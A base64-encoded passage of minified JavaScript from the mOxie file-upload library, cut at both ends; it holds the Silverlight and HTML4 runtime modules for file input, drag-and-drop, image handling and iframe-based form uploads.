HIsbyxzKXtmdW5jdGlvbiBhKGUpe2Zvcih2YXIgdD0iIixpPTA7aTxlLmxlbmd0aDtpKyspdCs9KCIiIT09dD8ifCI6IiIpK2VbaV0udGl0bGUrIiB8ICouIitlW2ldLmV4dGVuc2lvbnMucmVwbGFjZSgvLC9nLCI7Ki4iKTtyZXR1cm4gdH12YXIgdD17aW5pdDpmdW5jdGlvbihlKXt2YXIgdD10aGlzLGk9dGhpcy5nZXRSdW50aW1lKCksbj1vLmdldChlLmJyb3dzZV9idXR0b24pO24mJihuLnNldEF0dHJpYnV0ZSgidGFiaW5kZXgiLC0xKSxuPW51bGwpLHRoaXMuYmluZCgiQ2hhbmdlIixmdW5jdGlvbigpe3ZhciBlPWkuc2hpbUV4ZWMuY2FsbCh0LCJGaWxlSW5wdXQiLCJnZXRGaWxlcyIpO3QuZmlsZXM9W10scy5lYWNoKGUsZnVuY3Rpb24oZSl7dC5maWxlcy5wdXNoKG5ldyByKGkudWlkLGUpKX0pfSw5OTkpLGkuc2hpbUV4ZWMuY2FsbCh0aGlzLCJGaWxlSW5wdXQiLCJpbml0IixhKGUuYWNjZXB0KSxlLm11bHRpcGxlKSx0aGlzLnRyaWdnZXIoInJlYWR5Iil9LHNldE9wdGlvbjpmdW5jdGlvbihlLHQpeyJhY2NlcHQiPT1lJiYodD1hKHQpKSx0aGlzLmdldFJ1bnRpbWUoKS5zaGltRXhlYy5jYWxsKHRoaXMsIkZpbGVJbnB1dCIsInNldE9wdGlvbiIsZSx0KX19O3JldHVybiBlLkZpbGVJbnB1dD10fSksZSgibW94aWUvcnVudGltZS9zaWx2ZXJsaWdodC9maWxlL0ZpbGVEcm9wIixbIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiXSxmdW5jdGlvbihlLGksbil7dmFyIHQ9e2luaXQ6ZnVuY3Rpb24oKXt2YXIgZSx0PXRoaXMuZ2V0UnVudGltZSgpO3JldHVybiBlPXQuZ2V0U2hpbUNvbnRhaW5lcigpLG4uYWRkRXZlbnQoZSwiZHJhZ292ZXIiLGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKSxlLnN0b3BQcm9wYWdhdGlvbigpLGUuZGF0YVRyYW5zZmVyLmRyb3BFZmZlY3Q9ImNvcHkifSx0aGlzLnVpZCksbi5hZGRFdmVudChlLCJkcmFnZW50ZXIiLGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKSxpLmdldCh0LnVpZCkuZHJhZ0VudGVyKGUpJiZlLnN0b3BQcm9wYWdhdGlvbigpfSx0aGlzLnVpZCksbi5hZGRFdmVudChlLCJkcm9wIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksaS5nZXQodC51aWQpLmRyYWdEcm9wKGUpJiZlLnN0b3BQcm9wYWdhdGlvbigpfSx0aGlzLnVpZCksdC5zaGltRXhlYy5jYWxsKHRoaXMsIkZpbGVEcm9wIiwiaW5pdCIpfX07cmV0dXJuIGUuRmlsZURyb3A9dH0pLGUoIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvZmlsZS9GaWxlUmVhZGVyIixbIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL2ZsYXNoL2ZpbGUvRmlsZVJlYWRlciJdLGZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gZS5GaWxlUmVhZGVyPXQuZXh0ZW5kKHt9LGkpfSksZSgibW94aWUvcnVudGltZS9zaWx2ZXJsaWdodC9maWxlL0ZpbGVSZWFkZXJTeW5jIixbIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL2ZsYXNoL2ZpbGUvRmlsZVJlYWRlclN5bmMiXSxmdW5jdGlvbihlLHQsaSl7cmV0dXJuIGUuRmlsZVJlYWRlclN5bmM9dC5leHRlbmQoe30saSl9KSxlKCJtb3hpZS9ydW50aW1lL3NpbHZlcmxpZ2h0L3J1bnRpbWUvVHJhbnNwb3J0ZXIiLFsibW94aWUvcnVudGltZS9zaWx2ZXJsaWdodC9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL3J1bnRpbWUvZmxhc2gvcnVudGltZS9UcmFuc3BvcnRlciJdLGZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gZS5UcmFuc3BvcnRlcj10LmV4dGVuZCh7fSxpKX0pLGUoIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQveGhyL1hNTEh0dHBSZXF1ZXN0IixbIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL2ZsYXNoL3hoci9YTUxIdHRwUmVxdWVzdCIsIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvZmlsZS9GaWxlUmVhZGVyU3luYyIsIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvcnVudGltZS9UcmFuc3BvcnRlciJdLGZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gZS5YTUxIdHRwUmVxdWVzdD10LmV4dGVuZCh7fSxpKX0pLGUoIm1veGllL3J1bnRpbWUvc2lsdmVybGlnaHQvaW1hZ2UvSW1hZ2UiLFsibW94aWUvcnVudGltZS9zaWx2ZXJsaWdodC9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2ZpbGUvQmxvYiIsIm1veGllL3J1bnRpbWUvZmxhc2gvaW1hZ2UvSW1hZ2UiXSxmdW5jdGlvbihlLHQsaSxuKXtyZXR1cm4gZS5JbWFnZT10LmV4dGVuZCh7fSxuLHtnZXRJbmZvOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRSdW50aW1lKCkscz17bWV0YTp7fX0sYT1lLnNoaW1FeGVjLmNhbGwodGhpcywiSW1hZ2UiLCJnZXRJbmZvIik7cmV0dXJuIGEubWV0YSYmKHQuZWFjaChbInRpZmYiLCJleGlmIiwiZ3BzIiwidGh1bWIiXSxmdW5jdGlvbihlKXt2YXIgdCxpLG4scixvPWEubWV0YVtlXTtpZihvJiZvLmtleXMpZm9yKHMubWV0YVtlXT17fSxpPTAsbj1vLmtleXMubGVuZ3RoO2k8bjtpKyspKHI9b1t0PW8ua2V5c1tpXV0pJiYoL14oXGR8WzEtOV1cZCspJC8udGVzdChyKT9yPXBhcnNlSW50KHIsMTApOi9eXGQqXC5cZCskLy50ZXN0KHIpJiYocj1wYXJzZUZsb2F0KHIpKSxzLm1ldGFbZV1bdF09cil9KSxzLm1ldGEmJnMubWV0YS50aHVtYiYmcy5tZXRhLnRodW1iLmRhdGEmJiEoZS5tZXRhLnRodW1iLmRhdGEgaW5zdGFuY2VvZiBpKSYmKHMubWV0YS50aHVtYi5kYXRhPW5ldyBpKGUudWlkLHMubWV0YS50aHVtYi5kYXRhKSkpLHMud2lkdGg9cGFyc2VJbnQoYS53aWR0aCwxMCkscy5oZWlnaHQ9cGFyc2VJbnQoYS5oZWlnaHQsMTApLHMuc2l6ZT1wYXJzZUludChhLnNpemUsMTApLHMudHlwZT1hLnR5cGUscy5uYW1lPWEubmFtZSxzfSxyZXNpemU6ZnVuY3Rpb24oZSx0LGkpe3RoaXMuZ2V0UnVudGltZSgpLnNoaW1FeGVjLmNhbGwodGhpcywiSW1hZ2UiLCJyZXNpemUiLGUueCxlLnksZS53aWR0aCxlLmhlaWdodCx0LGkucHJlc2VydmVIZWFkZXJzLGkucmVzYW1wbGUpfX0pfSksZSgibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKG8sZSxzLGEpe3ZhciB1PXt9O3JldHVybiBzLmFkZENvbnN0cnVjdG9yKCJodG1sNCIsZnVuY3Rpb24oZSl7dmFyIHQsaT10aGlzLG49cy5jYXBUZXN0LHI9cy5jYXBUcnVlO3MuY2FsbCh0aGlzLGUsImh0bWw0Iix7YWNjZXNzX2JpbmFyeTpuKHdpbmRvdy5GaWxlUmVhZGVyfHx3aW5kb3cuRmlsZSYmRmlsZS5nZXRBc0RhdGFVUkwpLGFjY2Vzc19pbWFnZV9iaW5hcnk6ITEsZGlzcGxheV9tZWRpYTpuKChhLmNhbigiY3JlYXRlX2NhbnZhcyIpfHxhLmNhbigidXNlX2RhdGFfdXJpX292ZXIzMmtiIikpJiZkKCJtb3hpZS9pbWFnZS9JbWFnZSIpKSxkb19jb3JzOiExLGRyYWdfYW5kX2Ryb3A6ITEsZmlsdGVyX2J5X2V4dGVuc2lvbjpuKCEoIkNocm9tZSI9PT1hLmJyb3dzZXImJmEudmVyQ29tcChhLnZlcnNpb24sMjgsIjwiKXx8IklFIj09PWEuYnJvd3NlciYmYS52ZXJDb21wKGEudmVyc2lvbiwxMCwiPCIpfHwiU2FmYXJpIj09PWEuYnJvd3NlciYmYS52ZXJDb21wKGEudmVyc2lvbiwxMSwiPD0iKXx8IkZpcmVmb3giPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDM3LCI8Iil8fCJpT1MiPT09YS5vc3x8IkFuZHJvaWQiPT09YS5vcykpLHJlc2l6ZV9pbWFnZTpmdW5jdGlvbigpe3JldHVybiB1LkltYWdlJiZpLmNhbigiYWNjZXNzX2JpbmFyeSIpJiZhLmNhbigiY3JlYXRlX2NhbnZhcyIpfSxyZXBvcnRfdXBsb2FkX3Byb2dyZXNzOiExLHJldHVybl9yZXNwb25zZV9oZWFkZXJzOiExLHJldHVybl9yZXNwb25zZV90eXBlOmZ1bmN0aW9uKGUpe3JldHVybiEoImpzb24iIT09ZXx8IXdpbmRvdy5KU09OKXx8ISF+by5pbkFycmF5KGUsWyJ0ZXh0IiwiZG9jdW1lbnQiLCIiXSl9LHJldHVybl9zdGF0dXNfY29kZTpmdW5jdGlvbihlKXtyZXR1cm4hby5hcnJheURpZmYoZSxbMjAwLDQwNF0pfSxzZWxlY3RfZmlsZTpmdW5jdGlvbigpe3JldHVybiBhLmNhbigidXNlX2ZpbGVpbnB1dCIpfSxzZWxlY3RfbXVsdGlwbGU6ITEsc2VuZF9iaW5hcnlfc3RyaW5nOiExLHNlbmRfY3VzdG9tX2hlYWRlcnM6ITEsc2VuZF9tdWx0aXBhcnQ6ITAsc2xpY2VfYmxvYjohMSxzdHJlYW1fdXBsb2FkOmZ1bmN0aW9uKCl7cmV0dXJuIGkuY2FuKCJzZWxlY3RfZmlsZSIpfSxzdW1tb25fZmlsZV9kaWFsb2c6ZnVuY3Rpb24oKXtyZXR1cm4gaS5jYW4oInNlbGVjdF9maWxlIikmJiEoIkZpcmVmb3giPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDQsIjwiKXx8Ik9wZXJhIj09PWEuYnJvd3NlciYmYS52ZXJDb21wKGEudmVyc2lvbiwxMiwiPCIpfHwiSUUiPT09YS5icm93c2VyJiZhLnZlckNvbXAoYS52ZXJzaW9uLDEwLCI8IikpfSx1cGxvYWRfZmlsZXNpemU6cix1c2VfaHR0cF9tZXRob2Q6ZnVuY3Rpb24oZSl7cmV0dXJuIW8uYXJyYXlEaWZmKGUsWyJHRVQiLCJQT1NUIl0pfX0pLG8uZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oKXt0aGlzLnRyaWdnZXIoIkluaXQiKX0sZGVzdHJveToodD10aGlzLmRlc3Ryb3ksZnVuY3Rpb24oKXt0LmNhbGwoaSksdD1pPW51bGx9KX0pLG8uZXh0ZW5kKHRoaXMuZ2V0U2hpbSgpLHUpfSksdX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQvZmlsZS9GaWxlSW5wdXQiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGUsaCxwLG0sZix1LGcpe3JldHVybiBlLkZpbGVJbnB1dD1mdW5jdGlvbigpe3ZhciBjLGwsYSxkPVtdO3AuZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHIsbz10aGlzLHM9by5nZXRSdW50aW1lKCk7bD1lLGQ9dS5leHRMaXN0Mm1pbWVzKGUuYWNjZXB0LHMuY2FuKCJmaWx0ZXJfYnlfZXh0ZW5zaW9uIikpLHQ9cy5nZXRTaGltQ29udGFpbmVyKCksaT1tLmdldChlLmJyb3dzZV9idXR0b24pLGE9bS5nZXRTdHlsZShpLCJ6LWluZGV4Iil8fCJhdXRvIixzLmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIik/KCJzdGF0aWMiPT09bS5nZXRTdHlsZShpLCJwb3NpdGlvbiIpJiYoaS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxvLmJpbmQoIlJlZnJlc2giLGZ1bmN0aW9uKCl7bj1wYXJzZUludChhLDEwKXx8MSxtLmdldChsLmJyb3dzZV9idXR0b24pLnN0eWxlLnpJbmRleD1uLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW1Db250YWluZXIoKS5zdHlsZS56SW5kZXg9bi0xfSkpOmkuc2V0QXR0cmlidXRlKCJ0YWJpbmRleCIsLTEpLHI9cy5jYW4oInN1bW1vbl9maWxlX2RpYWxvZyIpP2k6dCxmLmFkZEV2ZW50KHIsIm1vdXNlb3ZlciIsZnVuY3Rpb24oKXtvLnRyaWdnZXIoIm1vdXNlZW50ZXIiKX0sby51aWQpLGYuYWRkRXZlbnQociwibW91c2VvdXQiLGZ1bmN0aW9uKCl7by50cmlnZ2VyKCJtb3VzZWxlYXZlIil9LG8udWlkKSxmLmFkZEV2ZW50KHIsIm1vdXNlZG93biIsZnVuY3Rpb24oKXtvLnRyaWdnZXIoIm1vdXNlZG93biIpfSxvLnVpZCksZi5hZGRFdmVudChtLmdldChlLmNvbnRhaW5lciksIm1vdXNldXAiLGZ1bmN0aW9uKCl7by50cmlnZ2VyKCJtb3VzZXVwIil9LG8udWlkKSxpPW51bGwsZnVuY3Rpb24gdCgpe3ZhciBlLGksbixyLG8scyxhPXRoaXMsdT1hLmdldFJ1bnRpbWUoKTtzPXAuZ3VpZCgidWlkXyIpLGU9dS5nZXRTaGltQ29udGFpbmVyKCksYyYmKG49bS5nZXQoYysiX2Zvcm0iKSkmJihwLmV4dGVuZChuLnN0eWxlLHt0b3A6IjEwMCUifSksbi5maXJzdENoaWxkLnNldEF0dHJpYnV0ZSgidGFiaW5kZXgiLC0xKSksKHI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpKS5zZXRBdHRyaWJ1dGUoImlkIixzKyJfZm9ybSIpLHIuc2V0QXR0cmlidXRlKCJtZXRob2QiLCJwb3N0Iiksci5zZXRBdHRyaWJ1dGUoImVuY3R5cGUiLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksci5zZXRBdHRyaWJ1dGUoImVuY29kaW5nIiwibXVsdGlwYXJ0L2Zvcm0tZGF0YSIpLHAuZXh0ZW5kKHIuc3R5bGUse292ZXJmbG93OiJoaWRkZW4iLHBvc2l0aW9uOiJhYnNvbHV0ZSIsdG9wOjAsbGVmdDowLHdpZHRoOiIxMDAlIixoZWlnaHQ6IjEwMCUifSksKG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJpZCIscyksby5zZXRBdHRyaWJ1dGUoInR5cGUiLCJmaWxlIiksby5zZXRBdHRyaWJ1dGUoImFjY2VwdCIsZC5qb2luKCIsIikpLHUuY2FuKCJzdW1tb25fZmlsZV9kaWFsb2ciKSYmby5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwtMSkscC5leHRlbmQoby5zdHlsZSx7Zm9udFNpemU6Ijk5OXB4IixvcGFjaXR5OjB9KSxyLmFwcGVuZENoaWxkKG8pLGUuYXBwZW5kQ2hpbGQocikscC5leHRlbmQoby5zdHlsZSx7cG9zaXRpb246ImFic29sdXRlIix0b3A6MCxsZWZ0OjAsd2lkdGg6IjEwMCUiLGhlaWdodDoiMTAwJSJ9KSwiSUUiPT09Zy5icm93c2VyJiZnLnZlckNvbXAoZy52ZXJzaW9uLDEwLCI8IikmJnAuZXh0ZW5kKG8uc3R5bGUse2ZpbHRlcjoicHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkFscGhhKG9wYWNpdHk9MCkifSksby5vbmNoYW5nZT1mdW5jdGlvbigpe3ZhciBlO3RoaXMudmFsdWUmJihlPXRoaXMuZmlsZXM/dGhpcy5maWxlc1swXTp7bmFtZTp0aGlzLnZhbHVlfSxlPW5ldyBoKHUudWlkLGUpLHRoaXMub25jaGFuZ2U9ZnVuY3Rpb24oKXt9LHQuY2FsbChhKSxhLmZpbGVzPVtlXSxvLnNldEF0dHJpYnV0ZSgiaWQiLGUudWlkKSxyLnNldEF0dHJpYnV0ZSgiaWQiLGUudWlkKyJfZm9ybSIpLGEudHJpZ2dlcigiY2hhbmdlIiksbz1yPW51bGwpfSx1LmNhbigic3VtbW9uX2ZpbGVfZGlhbG9nIikmJihpPW0uZ2V0KGwuYnJvd3NlX2J1dHRvbiksZi5yZW1vdmVFdmVudChpLCJjbGljayIsYS51aWQpLGYuYWRkRXZlbnQoaSwiY2xpY2siLGZ1bmN0aW9uKGUpe28mJiFvLmRpc2FibGVkJiZvLmNsaWNrKCksZS5wcmV2ZW50RGVmYXVsdCgpfSxhLnVpZCkpLGM9cyxlPW49aT1udWxsfS5jYWxsKHRoaXMpLHQ9bnVsbCxvLnRyaWdnZXIoe3R5cGU6InJlYWR5Iixhc3luYzohMH0pfSxzZXRPcHRpb246ZnVuY3Rpb24oZSx0KXt2YXIgaSxuPXRoaXMuZ2V0UnVudGltZSgpOyJhY2NlcHQiPT1lJiYoZD10Lm1pbWVzfHx1LmV4dExpc3QybWltZXModCxuLmNhbigiZmlsdGVyX2J5X2V4dGVuc2lvbiIpKSksKGk9bS5nZXQoYykpJiZpLnNldEF0dHJpYnV0ZSgiYWNjZXB0IixkLmpvaW4oIiwiKSl9LGRpc2FibGU6ZnVuY3Rpb24oZSl7dmFyIHQ7KHQ9bS5nZXQoYykpJiYodC5kaXNhYmxlZD0hIWUpfSxkZXN0cm95OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5nZXRSdW50aW1lKCksdD1lLmdldFNoaW0oKSxpPWUuZ2V0U2hpbUNvbnRhaW5lcigpLG49bCYmbS5nZXQobC5jb250YWluZXIpLHI9bCYmbS5nZXQobC5icm93c2VfYnV0dG9uKTtuJiZmLnJlbW92ZUFsbEV2ZW50cyhuLHRoaXMudWlkKSxyJiYoZi5yZW1vdmVBbGxFdmVudHMocix0aGlzLnVpZCksci5zdHlsZS56SW5kZXg9YSksaSYmKGYucmVtb3ZlQWxsRXZlbnRzKGksdGhpcy51aWQpLGkuaW5uZXJIVE1MPSIiKSx0LnJlbW92ZUluc3RhbmNlKHRoaXMudWlkKSxjPWQ9bD1pPW49cj10PW51bGx9fSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNC9maWxlL0ZpbGVSZWFkZXIiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvcnVudGltZS9odG1sNS9maWxlL0ZpbGVSZWFkZXIiXSxmdW5jdGlvbihlLHQpe3JldHVybiBlLkZpbGVSZWFkZXI9dH0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQveGhyL1hNTEh0dHBSZXF1ZXN0IixbIm1veGllL3J1bnRpbWUvaHRtbDQvUnVudGltZSIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvdXRpbHMvVXJsIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS94aHIvRm9ybURhdGEiXSxmdW5jdGlvbihlLG0sZixnLHgsdix5LF8pe3JldHVybiBlLlhNTEh0dHBSZXF1ZXN0PWZ1bmN0aW9uKCl7ZnVuY3Rpb24gbCh0KXt2YXIgZSxpLG4scixvPXRoaXMscz0hMTtpZihwKXtpZihlPXAuaWQucmVwbGFjZSgvX2lmcmFtZSQvLCIiKSxpPWYuZ2V0KGUrIl9mb3JtIikpe2ZvcihyPShuPWkuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlucHV0IikpLmxlbmd0aDtyLS07KXN3aXRjaChuW3JdLmdldEF0dHJpYnV0ZSgidHlwZSIpKXtjYXNlImhpZGRlbiI6bltyXS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG5bcl0pO2JyZWFrO2Nhc2UiZmlsZSI6cz0hMH1uPVtdLHN8fGkucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChpKSxpPW51bGx9c2V0VGltZW91dChmdW5jdGlvbigpe3YucmVtb3ZlRXZlbnQocCwibG9hZCIsby51aWQpLHAucGFyZW50Tm9kZSYmcC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHApO3ZhciBlPW8uZ2V0UnVudGltZSgpLmdldFNoaW1Db250YWluZXIoKTtlLmNoaWxkcmVuLmxlbmd0aHx8ZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGUpLGU9cD1udWxsLHQoKX0sMSl9fXZhciBkLGgscDttLmV4dGVuZCh0aGlzLHtzZW5kOmZ1bmN0aW9uKHQsZSl7dmFyIGksbixyLG8scyxhLHU9dGhpcyxjPXUuZ2V0UnVudGltZSgpO2lmKGQ9aD1udWxsLGUgaW5zdGFuY2VvZiBfJiZlLmhhc0Jsb2IoKSl7aWYoaT0obz1lLmdldEJsb2IoKSkudWlkLHI9Zi5nZXQoaSksIShuPWYuZ2V0KGkrIl9mb3JtIikpKXRocm93IG5ldyB4LkRPTUV4Y2VwdGlvbih4LkRPTUV4Y2VwdGlvbi5OT1RfRk9VTkRfRVJSKX1lbHNlIGk9bS5ndWlkKCJ1aWRfIiksKG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpKS5zZXRBdHRyaWJ1dGUoImlkIixpKyJfZm9ybSIpLG4uc2V0QXR0cmlidXRlKCJtZXRob2QiLHQubWV0aG9kKSxuLnNldEF0dHJpYnV0ZSgiZW5jdHlwZSIsIm11bHRpcGFydC9mb3JtLWRhdGEiKSxuLnNldEF0dHJpYnV0ZSgiZW5jb2RpbmciLCJtdWx0aXBhcnQvZm9ybS1kYXRhIiksYy5nZXRTaGltQ29udGFpbmVyKCkuYXBwZW5kQ2hpbGQobik7bi5zZXRBdHRyaWJ1dGUoInRhcmdldCIsaSsiX2lmcmFtZSIpLGUgaW5zdGFuY2VvZiBfJiZlLmVhY2goZnVuY3Rpb24oZSx0KXtpZihlIGluc3RhbmNlb2YgeSlyJiZyLnNldEF0dHJpYnV0ZSgibmFtZSIsdCk7ZWxzZXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpO20uZXh0ZW5kKGkse3R5cGU6ImhpZGRlbiIsbmFtZTp0LHZhbHVlOmV9KSxyP24uaW5zZXJ0QmVmb3JlKGkscik6bi5hcHBlbmRDaGlsZChpKX19KSxuLnNldEF0dHJpYnV0ZSgiYWN0aW9uIix0LnVybCkscz1jLmdldFNoaW1Db250YWluZXIoKXx8ZG9jdW1lbnQuYm9keSwoYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSkuaW5uZXJIVE1MPSc8aWZyYW1lIGlkPSInK2krJ19pZnJhbWUiIG5hbWU9IicraSsnX2lmcmFtZSIgc3JjPSJqYXZhc2NyaXB0OiZxdW90OyZxdW90OyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PC9pZnJhbWU+JyxwPWEuZmlyc3RDaGlsZCxzLmFwcGVuZENoaWxkKHApLHYuYWRkRXZlbnQocCwibG9hZCIsZnVuY3Rpb24oKXt2YXIgZTt0cnl7ZT1wLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnR8fHAuY29udGVudERvY3VtZW50fHx3aW5kb3cuZnJhbWVzW3AuaWRdLmRvY3VtZW50LC9eNCgwWzAtOV18MVswLTddfDJbMjM0Nl0pXHMvLnRlc3QoZS50aXRsZSk/ZD1lLnRpdGxlLnJlcGxhY2UoL14oXGQrKS4qJC8sIiQxIik6KGQ9MjAwLGg9bS50cmltKGUuYm9keS5pbm5lckhUTUwpLHUudHJpZ2dlcih7dHlwZToicHJvZ3Jlc3MiLGxvYWRlZDpoLmxlbmd0aCx0b3RhbDpoLmxlbmd0aH0pLG8mJnUudHJpZ2dlcih7dHlwZToidXBsb2FkcHJvZ3Jlc3MiLGxvYWRlZDpvLnNpemV8fDEwMjUsdG90YWw6by5zaXplfHwxMDI1fSkpfWNhdGNoKGUpe2lmKCFnLmhhc1NhbWVPcmlnaW4odC51cmwpKXJldHVybiB2b2lkIGwuY2FsbCh1LGZ1bmN0aW9uKCl7dS50cmlnZ2VyKCJlcnJvciIpfSk7ZD00MDR9bC5jYWxsKHUsZnVuY3Rpb24oKXt1LnRyaWdnZXIoImxvYWQiKX0pfSx1LnVpZCksbi5zdWJtaXQoKSx1LnRyaWdnZXIoImxvYWRzdGFydCIpfSxnZXRTdGF0dXM6ZnVuY3Rpb24oKXtyZXR1cm4gZH0sZ2V0UmVzcG9uc2U6ZnVuY3Rpb24oZSl7aWYoImpzb24iPT09ZSYmInN0cmluZyI9PT1tLnR5cGVPZihoKSYmd2luZG93LkpTT04pdHJ5e3JldHVybiBKU09OLnBhcnNlKGgucmVwbGFjZSgvXlxzKjxwcmVbXj5dKj4vLCIiKS5yZXBsYWNlKC88XC9wcmU+XHMqJC8sIiIpKX1jYXRjaChlKXtyZXR1cm4gbnVsbH1yZXR1cm4gaH0sYWJvcnQ6ZnVuY3Rpb24oKXt2YXIgZT10aGlzO3AmJnAuY29udGVudFdpbmRvdyYmKHAuY29udGVudFdpbmRvdy5zdG9wP3AuY29udGVudFdpbmRvdy5zdG9wKCk6cC5jb250ZW50V2luZG93LmRvY3VtZW50LmV4ZWNDb21tYW5kP3AuY29udGVudFdpbmRvdy5kb2N1bWVudC5leGVjQ29tbWFuZCgiU3RvcCIpOnAuc3JjPSJhYm91dDpibGFuayIpLGwuY2FsbCh0aGlzLGZ1bmN0aW9uKCl7ZS5kaXNwYXRjaEV2ZW50KCJhYm9ydCIpfSl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt0aGlzLmdldFJ1bnRpbWUoKS5nZXRTaGltKCkucmVtb3ZlSW5zdGFuY2UodGhpcy51aWQpfX0pfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDQvaW1hZ2UvSW1hZ2UiLFsibW94aWUvcnVudGltZS9odG1sNC9SdW50aW1lIiwibW94aWUvcnVudGltZS9odG1sNS9pbWFnZS9JbWFnZSJdLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUuSW1hZ2U9dH0pLGZ1bmN0aW9uKGUpe2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXtmb3IodmFyIGk9cyxuPWVbdF0scj1uLnNwbGl0KC9bLlwvXS8pLG89MDtvPHIubGVuZ3RoLTE7KytvKWlbcltvXV09PT15JiYoaVtyW29dXT17fSksaT1pW3Jbb11dO2lbcltyLmxlbmd0aC0xXV09dVtuXX19KFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRW5jb2RlIiwibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0RvbSIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWVDbGllbnQiLCJtb3hpZS9maWxlL0Jsb2IiLCJtb3hpZS9jb3JlL0kxOG4iLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9maWxlL0ZpbGVJbnB1dCIsIm1veGllL2ZpbGUvRmlsZSIsIm1veGllL2ZpbGUvRmlsZURyb3AiLCJtb3hpZS9maWxlL0ZpbGVSZWFkZXIiLCJtb3hpZS9jb3JlL3V0aWxzL1VybCIsIm1veGllL3J1bnRpbWUvUnVudGltZVRhcmdldCIsIm1veGllL3hoci9Gb3JtRGF0YSIsIm1veGllL3hoci9YTUxIdHRwUmVxdWVzdCIsIm1veGllL2ltYWdlL0ltYWdlIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9ydW50aW1lL2h0bWw1L2ltYWdlL1Jlc2l6ZXJDYW52YXMiXSl9KHRoaXMpfS5hcHBseShlLGFyZ3VtZW50cyksZS5tb3hpZX07ImZ1bmN0aW9uIj09dHlwZW9mIGRlZm